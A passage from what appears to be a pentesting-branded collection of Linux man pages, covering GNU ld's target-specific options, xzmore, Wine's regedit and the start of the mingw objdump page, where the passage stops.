Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1382 - Linux cli command xzmore

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzmore and provides detailed information about the command xzmore, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzmore.

NAME 🖥️ xzmore 🖥️

view xz or lzma compressed (text) files

SYNOPSIS

xzmore [file…]
lzmore [file…]

DESCRIPTION

xzmore displays text from compressed files to a terminal using more(1). Files supported by xz(1) are decompressed; other files are assumed to be in uncompressed form already. If no files are given, xzmore reads from standard input. See the more(1) manual for the keyboard commands.

Note that scrolling backwards might not be possible depending on the implementation of more(1). This is because xzmore uses a pipe to pass the decompressed data to more(1). xzless(1) uses less(1) which provides more advanced features.

The command lzmore is provided for backward compatibility with LZMA Utils.

ENVIRONMENT

PAGER
If PAGER is set, its value is used as the pager instead of more(1).

SEE ALSO

more(1), xz(1), xzless(1), zmore(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1383 - Linux cli command regedit-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command regedit-stable and provides detailed information about the command regedit-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the regedit-stable.

NAME 🖥️ regedit-stable 🖥️

Wine registry editor

SYNOPSIS

regedit [text file]

DESCRIPTION

regedit is the Wine registry editor, designed to be compatible with its Microsoft Windows counterpart. If called without any options, it will start the full GUI editor.

The switches are case-insensitive and can be prefixed either by ‘-’ or ‘/’.

OPTIONS

-E file [regpath]
Exports the content of the specified registry key to the specified file. It exports the whole registry if no key is specified.

-D regpath
Deletes the specified registry key.

-S
Run regedit silently (ignored, CLI mode is always silent). This exists for compatibility with Windows regedit.

-V
Run regedit in advanced mode (ignored). This exists for compatibility with Windows regedit.

-L location
Specifies the location of the system.dat registry file (ignored). This exists for compatibility with Windows regedit.

-R location
Specifies the location of the user.dat registry file (ignored). This exists for compatibility with Windows regedit.

-?
Prints a help message. Any other options are ignored.

-C file.reg
Create registry from file.reg (unimplemented).

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

regedit is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1384 - Linux cli command i686-w64-mingw32-objdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-objdump and provides detailed information about the command i686-w64-mingw32-objdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-objdump.

NAME 🖥️ i686-w64-mingw32-objdump 🖥️

display information from object files

SYNOPSIS

objdump [-a|–archive-headers] [-b bfdname|–target=bfdname] [-C|–demangle[=style] ] [-d|–disassemble[=symbol]] [-D|–disassemble-all] [-z|–disassemble-zeroes] [-EB|-EL|–endian={big | little }] [-f|–file-headers] [-F|–file-offsets] [–file-start-context] [-g|–debugging] [-e|–debugging-tags] [-h|–section-headers|–headers] [-i|–info] [-j section|–section=section] [-l|–line-numbers] [-S|–source] [–source-comment[=text]] [-m machine|–architecture=machine] [-M options|–disassembler-options=options] [-p|–private-headers] [-P options|–private=options] [-r|–reloc] [-R|–dynamic-reloc] [-s|–full-contents] [-Z|–decompress] [-W[lLiaprmfFsoORtUuTgAck]| –dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-WK|–dwarf=follow-links] [-WN|–dwarf=no-follow-links] [-wD|–dwarf=use-debuginfod] [-wE|–dwarf=do-not-use-debuginfod] [-L|–process-links] [–ctf=section] [–sframe=section] [-G|–stabs] [-t|–syms] [-T|–dynamic-syms] [-x|–all-headers] [-w|–wide] [–start-address=address] [–stop-address=address] [–no-addresses] [–prefix-addresses] [–[no-]show-raw-insn] [–adjust-vma=offset] [–show-all-symbols] [–dwarf-depth=n] [–dwarf-start=n] [–ctf-parent=section] [–no-recurse-limit|–recurse-limit] [–special-syms] [–prefix=prefix] [–prefix-strip=level] [–insn-width=width] [–visualize-jumps[=color|=extended-color|=off] [–disassembler-color=[off|terminal|on|extended] [-U method] [–unicode=method] [-V|–version] [-H|–help] objfile

DESCRIPTION

objdump displays information about one or more object files. The options control what particular information to display. This information is mostly useful to programmers who are working on the compilation tools, as opposed to programmers who just want their program to compile and work.

objfile… are the object files to be examined. When you specify archives, objdump shows information on each of the member object files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option from the list -a,-d,-D,-e,-f,-g,-G,-h,-H,-p,-P,-r,-R,-s,-S,-t,-T,-V,-x must be given.

-a

–archive-header

If any of the objfile files are archives, display the archive header information (in a format similar to ls -l). Besides the information you could list with ar tv, objdump -a shows the object file format of each archive member.

–adjust-vma=offset
When dumping information, first add offset to all the section addresses. This is useful if the section addresses do not correspond to the symbol table, which can happen when putting sections at particular addresses when using a format which can not represent section addresses, such as a.out.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname. This option may not be necessary; objdump can automatically recognize many formats. For example, objdump -b oasys -m vax -h fu.o displays summary information from the section headers (-h) of fu.o, which is explicitly identified (-m) as a VAX object file in the format produced by Oasys compilers. You can list the formats available with the -i option.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-g

–debugging

Display debugging information. This attempts to parse STABS debugging format information stored in the file and print it out using a C like syntax. If no STABS debugging was found this option falls back on the -W option to print any DWARF information in the file.

-e

–debugging-tags

Like -g, but the information is generated in a format compatible with ctags tool.

-d

–disassemble

–disassemble=symbol

